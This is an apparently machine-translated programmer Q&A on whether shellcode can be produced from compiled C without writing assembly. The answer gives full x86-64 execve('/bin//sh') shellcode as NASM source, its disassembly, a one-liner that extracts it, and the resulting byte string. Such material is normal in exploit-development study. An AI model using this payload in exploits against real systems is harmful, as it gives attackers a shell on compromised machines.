构造一个shellcode而不会搞乱程序集
是否有可能在不编写代码的情况下构建一个shellcode?构造一个shellcode而不会搞乱程序集
我试图编译下面的简单应用:
#include <stdlib.h>
int main(int argc, char** argv)
{
char* args[] = { "/bin/bash", NULL };
execve("bin/bash", &args, NULL);
return 0;
}
然后我编译它,并用gdb得到如下:
(gdb) x/15i main
0x400506 <main>: push %rbp
0x400507 <main+1>: mov %rsp,%rbp
=> 0x40050a <main+4>: sub $0x20,%rsp
0x40050e <main+8>: mov %edi,-0x14(%rbp)
0x400511 <main+11>: mov %rsi,-0x20(%rbp)
0x400515 <main+15>: movq $0x4005d4,-0x10(%rbp)
0x40051d <main+23>: movq $0x0,-0x8(%rbp)
0x400525 <main+31>: lea -0x10(%rbp),%rax
0x400529 <main+35>: mov $0x0,%edx
0x40052e <main+40>: mov %rax,%rsi
0x400531 <main+43>: mov $0x4005de,%edi
0x400536 <main+48>: callq 0x4003f0 <[email protected]>
0x40053b <main+53>: mov $0x0,%eax
0x400540 <main+58>: leaveq
0x400541 <main+59>: retq
可惜我不能用它来生成的shellcode,因为有一个使用全局偏移表[main + 48]。
我该如何修复这种方法来生成shellcode而不用返回程序集。
你不能。
C编译器不知道如何直接生成系统调用。它知道如何做的是调用函数 - 它使用GOT。
(您可以解决此通过使用内联汇编,但是这仍然是“用汇编写代码”,你说过你希望避免的。)
除此之外,你还发现, C编译器将生成偶然包含空字节的程序集。这在许多应用程序中将失败。
了解如何编写程序集或使用其他人的shellcode。
下面是使用/ bin/sh和堆栈方法使用execve打开shell的示例。
我目前正在通过Security Tube的Linux程序集64位课程以及阅读Hacking,开发艺术Jon Erickson;它使用x86汇编。
; David @InfinitelyManic
; execute_shellcode_stack.s
; nasm -felf64 -g -F dwarf execute_shellcode_stack.s -o execute_shellcode_stack.o && ld execute_shellcode_stack.o -o execute_shellcode_stack
; code from course: http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/
;
section .bss
section .data
section .text
global _start
_start:
; <syscall name="execve" number="59"/>
; int execve(const char *filename, char *const argv[], char *const envp[]);
; x86_64 rdi rsi rdx r10 r8 r9
xor rax, rax ; null
push rax ; push 0x00
; we need /bin//sh in hex in reverse
; rev <<< "/bin//sh" | xxd -g4
; 00000000: 68732f2f 6e69622f 0a hs//nib/.
mov rbx, 0x68732f2f6e69622f ; hs//nib/ ascii
push rbx ; push '/bin//sh' to stack
mov rdi, rsp ; _filename = '/bin//sh'0000
push rax ; second null 0x00 ""
mov rdx, rsp ; envp = array of strings == null
push rdi ; push _filename
mov rsi, rsp ; argv = array of argument strings = _filename
add rax, 59 ; syscall # for execve
syscall
objdump的:
execute_shellcode_stack: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: 48 31 c0 xor rax,rax
400083: 50 push rax
400084: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f
40008b: 2f 73 68
40008e: 53 push rbx
40008f: 48 89 e7 mov rdi,rsp
400092: 50 push rax
400093: 48 89 e2 mov rdx,rsp
400096: 57 push rdi
400097: 48 89 e6 mov rsi,rsp
40009a: 48 83 c0 3b add rax,0x3b
40009e: 0f 05 syscall
生成对C前卫的shellcode:
$ for i in $(objdump -d execute_shellcode_stack | grep "^ " |cut -f2); do echo -n "\x"$i; done; echo
\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05
输出:
$ ./shellcode
Shellcode Length: 32
$
也许你错过了它,但问的问题是“_是否有可能构建一个shellcode而无需在程序集中编写代码?_”。您的答案只使用汇编语言。 –
是的,我意识到这个问题,并且我的答案不是四肢。 OP和其他人可以选择不允许答案或将其标出。只需在“学习如何编写程序集或使用其他人的shellcode”中提供一些帮助。 – InfinitelyManic
我不认为你可以让编译器产生的代码可以直接用作shell代码。 – fuz